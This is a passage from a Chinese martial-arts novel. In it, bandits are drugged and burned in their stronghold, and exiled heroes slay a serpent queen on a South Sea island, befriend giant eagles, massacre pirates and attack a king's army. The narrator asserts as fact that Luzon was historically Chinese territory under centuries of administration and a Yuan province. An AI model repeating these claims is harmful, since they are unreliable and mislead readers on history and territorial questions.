,黑风谷位于一个两山夹峙的山坳之中,两侧山脉蜿蜒曲折,地形雄奇险峻,前有深涧,后有峡谷,地势极其险要,易守难攻,古语有曰:“苍鹰欲飞尚难过,猿猴思攀亦发愁”,张氏兄弟率领族中子弟,四处劫掠,然后在黑风谷巢穴中,大秤分金小秤分银,大口吃肉,大碗喝酒,好不快活。这日,探风的小喽罗来报:“禀报大当家的,离我们这二十里,有一队山西来的客商,驮着大批货物,通过关陇古道要去西域贩卖。”老大白头鹰张道仓一听,高兴道:“好,二弟,你带着几百兄弟,去将货物夺回来。”老二金眼鹰张道友领着几个弟弟,点了五百名喽罗,骑上马匹,出了黑风谷,直奔那队客商而去,功夫不大,已经看见那队山西客商,那队山西客商眼见远处尘土飞扬,定睛一看,只见大批如狼似虎的响马策马飞奔而来,一个个吓得丢下货物,望风而逃。”金眼鹰张道友率众上前一看,只见这些货物都是些山西汾酒,火腿之类,情不自禁的喜笑颜开,老五铁爪鹰张道林最是酷爱喝酒,从车上取了一坛汾酒,就要开怀畅饮,老二金眼鹰连忙阻止,道:“老五,别急,先别喝,等会回山寨,让小的们用银针试一下,再喝不迟。”老五铁爪鹰闻言,也只好强忍着酒瘾,安排喽啰们将货物运回山寨,半个多时辰后,众人回到黑风谷山寨,老大白头鹰见到美酒和火腿,也是高兴的连连叫好,道:“今晚让小的们开怀畅饮,不醉不休。”金眼鹰道:“大哥,别着急,先让小的们用银针试一下,再喝不迟。”于是安排喽啰们用银针测试汾酒和火腿,试了好大一会,喽啰道:“禀报几位当家的,酒肉都用银针试过了,都没有毒。”老五铁爪鹰哈哈大笑,口中道:“二哥干事就是谨慎。”说完撕开封口,抱着酒坛就喝了起来,白头鹰金眼鹰几兄弟知道五弟向来喜爱喝酒,也不加阻止,任由他去喝,金眼鹰道:“大哥,你带着兄弟们喝酒,我带着两百个兄弟到前寨守卫。”白头鹰素来知道二弟做事谨慎,也不勉强,当晚山寨中灯火通明,一千多响马,吃着火腿,喝着美酒,一个个兴高采烈,老二金眼鹰,领着两百个喽罗守在前寨,手下的喽罗听到后寨的兄弟喝的热火朝天,禁不住一个个馋的只咽口水,金眼鹰笑着骂道:“你们这帮小子都给我忍着,明晚我让三当家带人来给你们换岗,让你们明晚也喝个痛快。”众喽啰齐声答应,一个个心中都在美滋滋的畅想,明天晚上的酒宴。到了半夜时分,金眼鹰忽听林中有飞鸟惊起,不由得心生警觉,侧耳细听,只听夜鸟不断的被惊起,金眼鹰大声喊道:“兄弟们,打起精神,有敌来犯。”众喽罗连忙一个个拿起兵刃,严阵以待,只见山寨前的深涧对面,从树林之中,黑压压冒出了大批人马,金眼鹰一边命令贴身喽罗去后寨通知其他几位兄弟们,一边等敌人进入弓箭射程,命令手下的喽罗们射箭,只见来的一千多人,个个身手矫健,一边挥舞手中兵器击打抵挡箭矢,一边迅疾如风直奔前寨寨墙而来,转眼之间,已经到了寨前深涧,一边对着寨墙上面的喽罗们,弯弓射箭,一边飞爪铁钩甩出,勾上对面的树木,或石块缝隙,或寨墙栅栏,钩牢之后,一个个身轻如燕,纵身飞跃,转眼之间,已经越过寨前深涧,开始攻寨,金眼鹰借着月光一看,来敌的装束打扮,只见这些人身穿黑衣,胸前袖口绣着金色的火焰图案,这是圣火教的五行卫啊,金眼鹰心中震惊暗道不好,一面命令喽罗们拼死抵抗,一面焦急的等待后寨的支援,正在此时,去后寨报信的喽罗疾步跑了回来,对金眼鹰道:“二当家的,大事不好,我刚才去后寨,只见几位头领和兄弟们都如醉死了一般,怎么叫都叫不醒。”金眼鹰心中大呼不妙,后寨的兄弟们肯定是中了 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什么迷药,所以才叫不醒,金眼鹰一边喊着喽罗们拼死抵抗,一边抽身就往后寨跑,到了后寨,金眼鹰一脚将大哥白头鹰的房门踢开,进去一看,只见白头鹰面红耳赤,沉睡不起,金眼鹰转身又到了三弟四弟五弟的房间,踹开房门一看,几个弟弟都是酣睡不起,任由金眼鹰怎么叫,也都是沉睡不醒,金眼鹰连忙取了一盆冷水,浇到弟弟们脸上,也是无济于事,几个弟弟还是酣睡不起,此时的前寨已经不断传来手下喽罗的惨叫声,金眼鹰知道,前寨已经失守,于是狠狠心,咬咬牙,一跺脚,来到大哥白头鹰的房间里,一伸手在隐蔽处,启动机关,只听吱呀呀两声响,墙壁显出了一道暗门,这是金眼鹰当年和几个兄弟们商量,留了一个逃命的暗道,金眼鹰转身来到白头鹰床前,伸手将白头鹰扛在肩膀上,钻入暗道,钻入暗道后,金眼鹰一边打亮火折子,一边将暗道门复原,只听又是吱呀呀两声,墙壁已经恢复原样,金眼鹰一手拿着火折子,一手扛着大哥,在密道中跌跌撞撞向山外逃去,此时的山寨前寨已经被圣火教的五行卫攻占,两百守寨喽罗,除了极少数人逃命之外,大部分都被杀死,到了后寨之后,侯成庆命人仔细搜查一番,唯独没有找到祁连山五鹰的老大白头鹰老二金眼鹰的踪迹,侯成庆心中一沉,看来老大白头鹰老二金眼鹰已经趁乱逃走了,但是此时也无可奈何,无从追起,手下五行卫找到山寨的藏宝库,侯成庆命人将藏宝库中的金银财宝搬了一空,然后命人四处喷洒火油,待到五行卫全部撤出后,一把火就烧了起来,可怜后寨的一千多响马,在睡梦之中,被烧为灰烬,侯成庆看着熊熊烈火,心中也有一丝恻隐和不忍之心,原来那伙山西客商,是侯成庆派人假扮,在汾酒和火腿中用了圣火教秘传的迷神散,此散虽然无毒,用银针也无法测试出来,但人服用之后,十二个时辰都会陷入昏睡之中,侯成庆虽然计策得逞,但是心中却有一种莫名其妙说不出的沉重。再说金眼鹰张道友扛着大哥白头鹰张道仓,从逃生通道中逃出,寻了一处溪水处,将白头鹰放入溪水,不断用溪水浇湿白头鹰的面部,白头鹰在几个兄弟中,本来就功力最为深厚,几个时辰后,白头鹰才慢慢醒来,迷迷糊糊睁开眼一看,自己衣衫湿透,竟然坐在小溪旁边,只见二弟金眼鹰坐在身旁,不由得感到奇怪,就问道:“二弟,我们怎么在这?”金眼鹰放声大哭,白头鹰连忙问道:“二弟,怎么了?你哭什么?”金眼鹰手指山寨方向,声音哽咽道:“大哥你看。”白头鹰扭头看去,只见那边山头,火光冲天,白头鹰此时还在迷迷糊糊中,张口问道:“二弟,什么地方着火了?”金眼鹰道:“大哥,那是我们的山寨,兄弟们全死了。”白头鹰一听,大吃一惊,瞬间面目失色,连忙问道:“出了什么事?三弟四弟五弟呢?”金眼鹰哭道:“大哥,我们抢来的酒和火腿中,被圣火教下了迷药,圣火教的五行卫深夜来偷袭,兄弟们都昏睡不醒,怎么喊都没有用,我实在没有办法,只能背着你一人,从密道中逃了出来,几个弟弟和一千多兄弟,都被圣火教五行卫放火烧死了。”白头鹰一听,如同晴天霹雳,呆傻片刻,喃喃自语道:“是我害死了兄弟们,是我害死了兄弟们,我有何面目再活在世上?”说罢,起身就要往旁边的石头上撞,金眼鹰眼疾手快,一把抱住,连哭带喊道:“大哥,你现在寻死有什么用?我们想着怎么为兄弟们报仇啊。”两兄弟拉扯了好大一会,白头鹰情绪才慢慢平稳下来,抹去眼泪道:“二弟,你说的对,我现在不能死,我要为兄弟报仇雪恨。”金眼鹰道:“大哥,圣火教心狠手辣,我们还是赶快回老家祁连山,取了家眷和几个弟弟们的孩子,赶快逃离别处,要不然,会被圣火教斩草除根,我们怎么对得起死去的兄弟?”白头鹰强忍悲痛,道:“二弟,你说得对,我们现在就回老家,赶快把孩子们转移走。”两兄弟相互搀扶边走边哭,向着祁连山方向走去。 13. 第 13 章 再说王定国等人,奋马扬鞭来到海边码头,坐上早已准备好的船只,扬帆起航,直奔南洋吕宋岛而去,吕宋岛,东接西太平洋,南临锡布延海,西濒我国南海,位于我国台湾省南部,菲律宾群岛北部,中间以巴士海峡相隔,与我国台湾岛相距360公里。吕宋岛曾是我国故土,历史上我国曾有效管理数百年,现是菲律宾面积最大、人口最多、经济最发达的岛屿。传说在公元前214年,秦始皇统一六国后,其势力范围便延伸至吕宋岛,虽无确凿史料全面证实,但秦始皇已经知道了该岛的存在。当时菲律宾群岛包括吕宋岛尚没有国家建制,土著居民以原始部落为主,人烟稀少,热带植物茂盛。直到226年,三国时期的东吴,宣化从事朱应、中郎康泰浮海巡抚东南亚,抵达南洋诸岛,巡海过程中,到过吕宋岛。《吴时外国记》有记载,东吴是我国最早到达菲律宾群岛的国家力量。 到了唐宋时期,随着海上丝绸之路的兴起与繁荣,吕宋岛成为这条贸易通道上的重要节点。中国的丝绸、瓷器、茶叶等商品源源不断地运往吕宋岛,宋朝政府还设立了市舶司管理吕宋岛的海上贸易。 有说法称,当时北宋年间,朝廷派了市舶司一位姓吕的官员,管理岛上的海上贸易,这位姓吕的官员将此岛命名为:“吕宋岛,意为吕氏宋朝子民岛屿,吕宋岛的名字由此而来。还有一种说法称:“崖山之战后,陆秀夫之子陆自立带领宋朝残余势力逃至南海某岛,将其命名为旅宋岛,这就是后来演变为现在吕宋岛的经过。元朝时期,中国对吕宋岛的管辖进一步加强,元军远征爪哇时顺路在吕宋设军政机构,设立行省,感化当地土著居民,将其变成了中国的藩属国。王定国医术高超,数年前曾救了一个马来部落的长老呐哔啴,治愈了他的重病,这位马来呐哔啴长老,心中感谢王定国的救命之恩,所以两人时常有书信往来,王定国来救援张仁凤之前,早已做好安排,眼见朱元璋势力越来越大,中原地界再也没有他们的容身之处,于是就带领众人乘船径直前往吕宋岛,去找那马来部落的长老,寻求存身之处,在大海上航行一个月左右,众人到了马来国地界,王定国寻着地址找到了马来部落的呐哔啴长老,呐哔啴长老见救命恩人到来,急忙命人在部落中搭建房屋,提供粮食,让王定国众人有了立足之地,但常言道:天有不测风云,人有旦夕祸福,数月后,朱元璋荡平张士诚后,一统江南,命人四处打探王定国等人的去处,后经多方打探,打探到王定国等人去了南洋马来国,朱元璋便命使者到南洋马来国,要求马来国国王协助捉拿王定国等人,马来国王惧怕朱元璋势力庞大,不敢拒绝,但又不想得罪部落的呐哔啴长老,于是就派人去通知部落的呐哔啴长老,要求呐哔啴长老立刻驱逐王定国等人,呐哔啴长老见国王下旨,也不敢违抗,只得找来王定国等人,将朱元璋派使者前来,要求马来国国王协助捉拿王定国等人一事告知,王定国李安邦和叶天羽等人,虽然对朱元璋恨之入骨,但也无可奈何,王定国心想:“如果继续在此居住,恐怕会连累呐哔啴长老。”也就准备带人离开,另寻他处容身,李安邦便问呐哔啴长老道:“长老,不知这附近海洋之上,可有无人居住的海岛?供我们有个容身之处。”呐哔啴长老叹口气,道:“离我们马来国百里的海洋上,倒是有个方圆数十里的大岛,这个大岛有淡水有田地,但是至今无人敢去居住。”李安邦道:“既然无人居住,长老可否派人带我们前去。”呐哔啴长老摇摇头,道:“你们有所不知,我们族中老人代代相传,这个岛数百年前,叫做蝙蝠岛,这个岛上的蝙蝠比寻常蝙蝠要大上数倍,口爪皆有奇毒,人若被抓伤咬伤,奇痒无比,若不能及时医治,就会全身溃烂而死,后来这蝙蝠岛上,又飞去几十只巨大的南海巨鹰,这些巨鹰体型硕大,铁嘴钢爪,两爪用力,可将成年人抓起,带到空中,在空中放开爪子,人就会从半空跌落而死,所以南海诸国国民,都不敢招惹这些巨鹰,这些巨鹰以岛上的悬崖峭壁为窝,在岛上也占据了一席之地,这些巨鹰特别喜欢吃海中的巨蚌,这些巨蚌体内,大多有珍贵的南海珍珠,巨鹰吃了巨蚌,剩下的腐肉,也供蝙蝠食用,倒也相安无事,数百年间,巨蚌壳中的珍珠散落在岛上,不计其数,但这些珍珠和腐肉,又引来了南海中毒性最大的铁甲蛇,这些铁甲蛇成年之后,身上鳞甲无比坚硬,寻常刀剑无法伤其分毫,这铁甲蛇一是喜欢腐肉,二又喜欢珍珠,所以被珍珠和腐肉吸引,也大量的聚集在海岛内,数百年间,巨鹰的鸟蛋,蝙蝠的幼崽被铁甲蛇吞噬无数,因此这巨鹰和蝙蝠与铁甲蛇展开拼斗,相克相杀,数百年来,无人敢登此岛,此岛也由原来的蝙蝠岛,现在被人称为三怪岛,这岛上的巨鹰,蝙蝠,铁甲蛇,人人谈之色变,无人敢涉足,你们若想去那海岛,只怕凶多吉少。”王定国李安邦听闻此言,心中也禁不住踌躇犹豫,叶天羽在一旁道:“大师兄,二师兄,那岛上怪物虽然厉害,我就不信,凭我们的武功打败不了这些怪物,请长老派船带我们先到岛上看看,如果能打败怪物,我们便离开此处,去那三怪岛居住,若是不能打败怪物,我们再另想他法。”王定国想了想,现在的确也没有地方可去,也就同意叶天羽所言,准备去三怪岛看看到底什么情况,第二天一早,呐哔啴长老亲自带人准备了一艘大船,王定国叶天羽带上几十名随从,又带上兵器和雄黄之类的物品,留下李安邦带着剩下的人,在部落照看护卫那些从义善堂带来的孤儿,王定国和叶天羽带着人,乘船前往三怪岛,第二天,船只行驶到三怪岛海滩边,只见此岛方圆足足数十里,岛上树木葱翠,不时有身形巨大的南海巨鹰和体型比寻常蝙蝠大上数倍的蝙蝠,从空中掠过,众人定睛再看,只见沙滩上,石缝中,无数条黑色铁甲蛇在游弋,呐哔啴长老对王定国和叶天羽道:“两位恩公,你们看岛上沙滩树林,铁甲蛇成千上万,寻常刀剑又不能伤其分毫,真的是凶险万分。”王定国等人见了也是头皮发麻,万万没想到,这岛上毒蛇竟然如此之多,叶天羽道:“长老,这些毒蛇,难道都是从海底而来?”长老道:“传说这岛上有个山洞,盘踞着一条巨大的蛇后,这些小蛇都是她的子孙。”叶天羽道:“如果能杀了这蛇后,这些小蛇定然会畏惧而逃。”呐哔啴长老摇摇头道:“据传这岛上的蛇后,身长数十米,腰身比那水桶还粗,身上鳞甲坚硬无比,这蛇后又吞食了无数珍珠,雄黄之类的驱蛇药对它毫无作用,数百年来,无数人觊觎岛上的珍珠,都想占据此岛,不管是用兵器还是雄黄,还是火药,没等找到那蛇洞,都被蛇后的蛇子蛇孙咬死。”叶天羽道:“大师兄,你们在此等候,我上岛去看看。”呐哔啴长老一听,霎时面目失色,连忙阻止道:“这可万万使不得。”王定国也怕小师弟上岛有什么闪失,也劝道:“师弟,既然这岛上如此凶险,我们还是另寻他处作容身之所。”叶天羽昂然道:“大师兄,祖师爷将苦修近百年的天罡纯阳神功内力传给我,让我铜筋铁骨,浑身刀枪不入,就算宝刀宝剑也难伤我分毫,我就不信那毒蛇能咬破我的铜筋铁骨。”王定国踌躇犹豫良久,心想这茫茫南海之中,想寻个无人又可以居住的海岛,确实十分困难,小师弟得了祖师爷苦修近百年的天罡纯阳神功,全身上下铜筋铁骨刀枪不入,宝刀宝剑也不能伤其分毫,估计这岛上的毒蛇也伤不了他,于是咬咬牙,对叶天羽道:“四师弟,你上岛之后,千万小心,若是有什么不对,就要立刻回来,万万不可以身涉险。”叶天羽点点头,让船只停靠海滩,手拿兵器,一个纵身从船上跃上海滩,这边刚一落脚,只见海滩的石缝中窜出来无数铁甲蛇,见有人上了海滩,立刻吐着毒信围了上来,叶天羽毫不畏惧,挥动手中的月牙伏魔杖,对着毒蛇就开始击打,虽然那些毒蛇鳞甲异常坚硬,但是被叶天羽挥杖击打,也是觉得异常疼痛,有的毒蛇仗着数量众多,对着叶天羽的腿和手就疯狂撕咬,但叶天羽一身铜筋铁骨,刀枪不入,毒蛇咬上,毒牙反被崩落,也没能咬到叶天羽分毫,叶天羽挥杖如雨,打得那些毒蛇避之不及,有些大的毒蛇便想向后开溜,叶天羽紧紧追赶,心想:“跟着这些毒蛇,定然可以找到毒蛇的巢穴,须杀死毒蛇巢穴中的蛇后,才能消灭蛇群。”王定国等人见叶天羽身形渐渐走入树林深处,心里虽然十分担忧,但也无计可施,叶天羽进入树林中,树梢之上,草丛之中,不断有毒蛇向他发起攻击,一路走来,身上被毒蛇咬了几百口,若是寻常之人,早就死一百回了,但叶天羽仗着自己铜筋铁骨,毫不畏惧,一路打杀,蛇群见咬不死叶天羽,心生畏惧,一个个成群结队就想溜之大吉,叶天羽紧随其后,跟着蛇群来到岛中,只见面前出现一个黑黝黝的山洞,蛇群拼命都往山洞里逃窜,叶天羽心想:“看来这蛇洞就是蛇后的巢穴了。”于是从身上取出火折子打亮,拎着月牙伏魔杖就进了山洞,在山洞中,走了半柱香的功夫,只觉得腥风大作,定睛望去,只见山洞深处,盘踞着一条水桶般粗细的巨蛇,身长足有十几丈,这巨蛇正是三怪岛上的蛇后,巨蛇见到叶天羽后,双目怒睁,吐着毒信,就开始进攻,叶天羽毫不畏惧,手中伏魔杖,如狂风暴雨般向巨蛇攻去,以叶天羽的功力,就是石头也能打崩,但那巨蛇,虽然感觉疼痛,却也没有伤到要害,巨蛇挨了几杖之后,身上吃痛,瞅准时机,一个甩尾将叶天羽缠绕起来,叶天羽只感觉身体被巨蛇紧紧缠绕,想要挣脱,已然来不及,叶天羽临危不乱,凝神静气,气沉丹田,护住全身经脉,举起手中月牙降魔杖,对着蛇后就是一阵攻击,蛇后吃痛,张开血盆大口,径直咬向叶天羽的脑袋,叶天羽身体已被身体缠绕,想要躲闪,已经不能,危急关头,叶天羽举起手中的月牙伏魔杖,将月牙刀刃对准蛇后的血盆大口,用尽全身之力,将月牙锋刃捅向蛇后的血盆大口,这铁甲蛇后,虽然身上鳞甲坚硬异常,但口中却没有任何防护,被叶天羽一杖捅进嘴中,瞬间蛇血喷涌,痛的连连甩头,缠绕叶天羽的蛇身也开始松动,叶天羽急忙手足用力,趁机摆脱蛇后缠绕,躲在一旁看准时机,对准蛇后的左眼睛又是一个月牙刀刃刺出,蛇后刚刚口中遭受重创,正在疼痛难忍之时,左眼又被叶天羽用月牙铲锋刃刺中,眼眶中的眼球被刺穿,不断流出蛇血,疼的是嘶嘶怪叫连连甩头,蛇后自知不妙,调转身形就想逃往山洞深处,叶天羽怎肯放过,提着月牙铲紧紧追赶,瞅准时机,用月牙刀刃对准蛇后的右眼,又是用力一刺,蛇后右眼又被刺中,疼得蛇头狂甩蛇尾乱舞,此时的蛇后两眼俱盲,只能徒劳的张开血盆大口,想威慑叶天羽,叶天羽看准时机一个纵身,将降魔杖月牙锋刃再次用力刺入蛇后口中,只见蛇后口中鲜血横流,一边疯狂甩头,一边蛇尾连扫,叶天羽见蛇后双眼俱盲,在一旁瞅准时机,对着蛇后的两只瞎眼,又开始连环攻击,蛇后口中双目连遭重创,蛇血直流,再也支撑不住,又挣扎了一炷香的功夫,气绝身亡,叶天羽心想:“曾听师傅说过,百年的巨蛇身上往往都有蛇丹。”于是便来到蛇后身旁,伸手将那蛇嘴分开,双臂一用力,将那蛇后嘴巴撕开,此时的蛇后已经气绝,身上的鳞甲也慢慢变软,叶天羽又用月牙铲,一路划刺,将蛇后从嘴巴处,慢慢分切,划到七寸处,却见一个粉白色似玉非玉,似石非石的坚硬物体,拿在手中,滑不溜手,叶天羽心想:“这应该就是蛇后的蛇丹了。”叶天羽将蛇丹装入囊中,转身向洞口走去,只见洞中无数条毒蛇,顿时纷纷躲避,不敢再靠近叶天羽身边,叶天羽心中大喜,一边口中发声驱赶,一边用手中月牙伏魔杖挥舞击打,只见成千上万条毒蛇,从山洞中蜂拥而出,叶天羽驱赶蛇群,穿过树林草地,此时天空中,上百头巨鹰,如箭矢一般俯冲下来,对着蛇群便是猛啄,成千上万只蝙蝠,也在空中盘旋,口中发出愤怒的尖叫,数百年来,无数的鹰蛋和无数的蝙蝠幼崽都被毒蛇吞食,巨鹰蝙蝠和这些毒蛇乃是世仇死敌,巨鹰和蝙蝠也是聪明,见叶天羽驱赶毒蛇,也跑过来助阵,只见成群结队的蛇群拼命逃窜,到了海滩边,一个个溜进大海,再也不见踪迹,叶天羽心中狂喜,正想着回头去找大师兄他们,只见上百头巨鹰和成千上万的蝙蝠都降落在地,站在自己四周,不停的向自己点头致意,如同人作揖一般,似乎在向自己表示感谢,叶天羽道:“鹰朋友,蝙蝠朋友,我们从此交个朋友可好,我们要来岛上居住,以后有打扰之处,还请多多包涵。”巨鹰和蝙蝠似是听懂人言一般,对着叶天羽不停的点头致谢,有一头体型最大的巨鹰走上前来,将身躯伏下,频频对着叶天羽鸣叫示意,叶天羽奇怪道:“鹰兄,你是让我骑你吗?”巨鹰似是听懂一般,连连点头,此时的叶天羽也才十四五岁,玩心大起,拎着月牙杖就上了巨鹰后背,叶天羽此时的体重将近百斤,在加上一百零八斤的月牙伏魔杖,加起来足足有两百斤,巨鹰竟也毫不吃力,用力扇动翅膀,飞向空中,身后上百只巨鹰,和成千上万只蝙蝠也紧紧相随,叶天羽在空中看到大师兄他们所坐的船只,对巨鹰道:“鹰兄,去那船上。”只见巨鹰扇动翅膀,向船只飞去,王定国此时正心急如焚,不知道师弟情况怎么样,突然之间看到上百只巨鹰和成千上万只蝙蝠飞来,众人大骇,连忙拿着武器准备御敌,正当众人严阵以待时,却见为首的巨鹰上,传来叶天羽的声音:“大师兄,不要动手,这些鹰和蝙蝠都是我的朋友。”众人好奇一看,只见鹰和蝙蝠降落在海滩上,叶天羽一个纵身从为首的巨鹰背上跃下,众人是又惊又喜,只见身后追随的上百只巨鹰和成千上万的蝙蝠降落在地,就如同听话的小孩一般,站在叶天羽身后,王定国急忙下船,快步上前,一把搂住叶天羽道:“师弟,你没事吧?你差点把我急死了。”叶天羽嘻嘻笑道:“大师兄,我没事,我在山洞里,把那蛇后杀了,得了一块蛇丹。”说罢将怀中的蛇丹掏出,王定国医术高超,也曾听师傅说过蛇丹之事,当即大喜道:“三弟,有了这蛇丹,我们从此再也不怕岛上的毒物了。”叶天羽笑嘻嘻道:“师兄,我把蛇后杀了,这些鹰和蝙蝠都跑来为我助阵,现在都是我的朋友了。”王定国对着为首的巨鹰拱手施礼,巨鹰也通灵一般,对王定国连连点头,王定国命人从船上取出食物,放在沙滩上,供巨鹰和蝙蝠食用,那些巨鹰和蝙蝠也不客气,如孩童一般,欣喜雀跃,一个个吃得津津有味,呐哔啴长老,被这奇异景象惊得目瞪口呆,道:“两位恩公,你们真乃神人也,这数百年无人敢涉足的三怪岛,竟被小师弟一日之内荡平,还收服了巨鹰和蝙蝠,真是幸事。”于是王定国安排叶天羽带领几十名西湖会子弟在岛上驻扎,自己则乘船回到长老的部落,几天功夫,便将所有人转移到三怪岛上,在岛上砍伐树木,搭建房屋,又命人拾取岛上的珍珠售卖,换取大批的兵器,粮食,生活所需品,待稍稍安顿之后,王定国,对两个师弟道:“二位师弟,我们都是炎黄子孙,现在虽然流落海外,但也不能忘了我们的根,这三怪岛自此改名叫炎黄岛。”两个师弟也是齐声称赞,正当王定国等人在岛上忙的热火朝天之时,三怪岛被人占领的消息已经传播南洋诸国,这茫茫南海之上,有八支海盗,实力最为雄厚的被称为章鱼帮,听说三怪岛毒蛇已被驱走,被中土来的一帮汉人占据,这帮汉人,用岛上的珍珠换取大量的财物,顿时眼红,于是章鱼帮老大就命令集结人马,准备攻占炎黄岛。这日,王定国正和两个师弟安排人手搭建房屋时,忽听守岛的哨兵来报:“大当家的,海面上驶来五艘巨船,挂的是海盗的旗帜。”王定国等人连忙道海边一看,只看五艘巨船上,挂着狰狞的八脚章鱼旗,王定国道:“我曾听部落长老道:“这南海之上有八股海盗,最为凶残的就是这章鱼帮,定是这帮海盗知道我们占据了炎黄岛,居心不良,想来夺岛,传令下去,准备迎敌。”这五艘巨船上,足足有上千名海盗,来势汹汹,待船靠岸后,章鱼帮老大一声令下,上千名海盗,如潮水一般冲向炎黄岛,王定国等人 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,在巨石的掩护下,看的真真切切,待到那些海盗到达弓箭射程之内后,王定国一声令下,数百支弓箭齐发,瞬间射倒了上百名海盗,那些海盗被打个措手不及,却也毫不慌乱,一边寻找掩体,一边挥舞盾牌,继续往前冲,王定国对叶天羽道:“四弟,我和二师兄前去迎战,你去抄他们的后路,将他们的几艘巨船击沉,我们这次要除恶务尽。”李安邦和叶天羽齐声应是,然后王定国和李安邦各率一队人马,从两边杀出,与海盗短兵相接展开肉搏,叶天羽吹了一声响哨,只见那只巨鹰从空中俯冲飞到叶天羽身旁,叶天羽道:“鹰兄,你带我到那几艘船上去。”巨鹰扇动翅膀,驮着叶天羽径直飞向那五艘海盗船,飞到海盗船上空,叶天羽一个纵身跃上海盗船甲板,船上留守的海盗,见有人上船,一个个挥动手中的兵刃冲向叶天羽,叶天羽手中伏魔杖舞动如狂风扫云一般,闪展腾挪间,已经将留守的几十名海盗打落海中,然后将手中伏魔杖挥起,将五艘海盗船,船帆尽数打断,然后又挥动伏魔杖将几艘大船的船板都打了个大洞,几艘海盗船慢慢的开始下沉,此时在沙滩上,正在厮杀的海盗,眼见自己乘坐的船只尽数被毁,心中不免有些慌乱,正在海盗慌乱之时,只看见天空中,飞过来上百只巨鹰和成千上万的蝙蝠,一个个俯冲下来,对着那群海盗又抓又咬,上千名海盗有的被巨鹰铁嘴啄击,利爪撕扯,有的被巨鹰利爪抓起,带上半空之中,然后被巨鹰摔下,惨叫之声不绝于耳,有的海盗被蝙蝠咬伤抓伤,一个个感觉奇痒无比,鬼哭狼嚎,已经无心恋战,王定国等人见巨鹰和蝙蝠前来助阵,不由得信心大振,士气高涨,一个个奋勇杀敌,可怜那些海盗,被巨鹰啄抓,又被蝙蝠撕咬,哪有心思恋战,不到一个时辰,尽数被杀,李安邦看着满沙滩的海盗尸体,不禁长叹一声,心中有些恻隐和不忍,王定国道:“二师弟,你不必心存怜悯,常言说得好,人不狠,站不稳,我们如今飘落异乡为异客,如今又得到这炎黄岛,周边想觊觎我们的,又何止这些海盗?这些海盗作恶多端,恶贯满盈,我们今日将他们铲除,也算是为南海渔民,船商做了一件好事。”李安邦道:“师兄说的是,我铭记在心。”待到叶天羽回到沙滩之上时,看到巨鹰和蝙蝠前来助阵,情不自禁的哈哈大笑,喊道:“鹰兄,蝠兄,你们这些朋友我交定了。”此次战役过后,南海中的其余七支海盗,眼见势力最大的章鱼帮被杀得片甲不留,一个个都心惊胆战,多方打听,才知道王定国等人的来历,也打听到叶天羽浑身铜筋铁骨刀枪不入,是中原武林第一高手,不由得噤若寒蝉,再也不敢招惹炎黄岛。王定国又派人悄悄潜回中原,将众人的家眷接到岛中,岛上自此人丁兴旺,一派繁华景象。王定国带着李安邦和叶天羽等人,又骑着巨鹰找到了剩下七股海盗的巢穴,警告他们:“自此以后,你们不许打劫汉人的渔民和客商,如敢违背,定然将你们杀得片甲不留,犯我汉人渔民和客商者,定诛不饶。”那七股海盗,心中畏惧,从此再也不敢打劫汉人渔船和商船,南海附近的汉人渔民商船得以休养生息安居乐业,都尊称炎黄岛三位岛主为南海活菩萨。炎黄岛那些巨鹰经常出海寻得巨蚌回岛上食用,蚌壳所含的南海珍珠,被王定国派人拾取,专卖南海诸国王公贵族,获得了不菲的财富,炎黄岛上居民,从此过上富足安康的生活。时间一久,炎黄岛的事情,传到了南海诸岛的一个棉兰国国王的耳中,棉兰国位于棉兰岛上,棉兰岛位于现在菲律宾群岛南部,菲律宾第二大岛。岛上山地、高原广布,海拔2954米的阿波火山是菲律宾最高的火山;棉兰老河长400公里,是菲律宾第一大河。岛上多半岛,南有达沃湾和莫罗湾,北有伊利甘湾,将海岸噬成锯齿形。长长的半圆形的三宝颜半岛向西南延伸至苏禄群岛和婆罗洲。哥打巴托半岛和苏里高半岛分别向南和向北延伸,这棉兰国国王名叫沙瑶,生性贪婪,酷爱金银财宝,得知炎黄岛富足之后,便想起兵吞并炎黄岛,于是征集士兵,准备船只,打造武器,备好粮草,集结了两万精兵,准备挑选个黄道吉日,兴兵攻打炎黄岛。马来部落的呐哔啴长老,与王定国等人,经常联系,王定国对呐哔啴长老心存感激,经常送些财物给长老的部落,呐哔啴长老听说棉兰国国王要兴兵攻打炎黄岛,连忙驾船上岛,告知王定国等人。王定国和两个师弟一商量,心想这两万人马来犯,纵然岛上有巨鹰和蝙蝠助阵,有天时地利,但敌众我寡,加上岛上妇人孩童又多,若是让棉兰国士兵登岛,不但是血雨腥风的一场恶战,而且岛上的妇人孩童恐怕也会遭殃,于是三兄弟商量,与其被动挨打,不如主动出击,师兄弟三人商量后,将炎黄岛交由十三太保留守,三人带着几十个武艺高强的手下,趁黑夜乘船悄悄潜入棉兰国的码头,转眼间,棉兰国选的黄道吉日已到,国王沙瑶亲率王公大臣,来到码头,只见码头上齐刷刷站着两万精兵,身后百余条战船,一字排开,正当棉兰国王沙瑶得意洋洋,准备发表战前总动员时,忽听有几人齐声大笑,众人循声望去,只见两个三十多岁中年男子,一个十几岁的少年手拿兵器,对着沙瑶国王指手画脚,笑声中,满是不屑之意,棉兰国王勃然大怒,喝令士兵上前抓捕,数百兵丁一拥而上,冲到三人面前,只见那三人,一人手握锁龙枪,一人手持降虎锏,一人手持月牙伏魔杖,正是炎黄岛三兄弟,三人早有安排分工明确,王定国和李安邦两侧护卫,叶天羽当中杀戮,三人如同尖刀一般,几十个照面便将数百个兵丁打的落花流水,国王沙瑶大惊,一声令下,剩余的士兵如潮水涌向炎黄岛三兄弟,只见王定国手中锁龙枪如猛虎下山,李安邦手中降虎锏如蛟龙出海,中间的叶天羽如同金刚下凡,罗汉降世,挥舞伏魔杖,如秋风扫落叶一般,靠近他们的士兵,挨着就死,碰着就伤,转眼之间,又是倒下一大片,这些士兵虽然心中害怕,但国王亲自督阵,一个个只能奋不顾身,上前厮杀,但是青面狮王定国金毛犼李安邦,已经是中原武林鼎鼎有名的高手,再加上一个武林江湖第一人的金翅大鹏叶天羽,三人合力,来回纵横厮杀,势不可挡所向披靡,半个时辰左右,只见死的死伤的伤,码头之上已经倒下了数千士兵,棉兰岛国国王沙瑶,眼见手下士兵死伤遍地,越看越是心惊肉跳,见势不妙,领着王公大臣转身就想逃跑,叶天羽看的真切,顾不上再打杀那些士兵,施展鹰翼化影功夫,其疾如风身形似电,转眼间便追到国王身后,国王沙瑶身边的三十多个侍卫,十几个保护国王,十几个围着叶天羽砍杀,只见叶天羽身如游鱼一般,几个闪展腾挪,已经到了国王身边,一伸手抓上国王